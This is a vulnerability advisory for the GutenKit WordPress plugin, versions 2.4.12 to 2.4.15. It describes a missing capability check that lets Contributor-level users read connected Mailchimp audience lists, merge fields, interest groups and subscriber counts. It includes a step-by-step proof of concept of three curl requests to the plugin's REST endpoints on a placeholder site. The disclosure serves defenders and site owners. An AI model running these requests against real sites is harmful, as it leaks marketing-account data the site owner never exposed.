GutenKit 2.4.12 – 2.4.15 – Contributor+ Mailchimp Audience Data Disclosure | CVE 2026-19699

Description

The plugin does not have a sufficient capability check on some of its REST API endpoints, allowing users with the Contributor role and above to retrieve mailing-list audience metadata from the site's connected marketing account.

Proof of Concept

Prerequisites:
- GutenKit active, with a Mailchimp API key saved at GutenKit > Settings > API Integration > MailChimp.
- Any account with the Contributor role.

1. Log in as the Contributor and keep the session cookies.

2. Obtain a REST nonce for that session:

curl -s -b cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce"

3. Request the connected audience list:

curl -s -b cookies.txt -H "X-WP-Nonce: <nonce from step 2>" \
  "https://victim.example/wp-json/gutenkit/v1/mailchimp/get/lists"

The response contains each audience's identifier and name, along with the merge fields configured on the first audience.

4. Request the interest groups for any audience identifier returned by step 3:

curl -s -b cookies.txt -H "X-WP-Nonce: <nonce from step 2>" \
  "https://victim.example/wp-json/gutenkit/v1/mailchimp/get/interests?list_id=<id>"

The response contains interest category titles, interest names and per-interest subscriber counts.

A Subscriber receives HTTP 403 and an unauthenticated request receives HTTP 401, so the exposure starts at Contributor.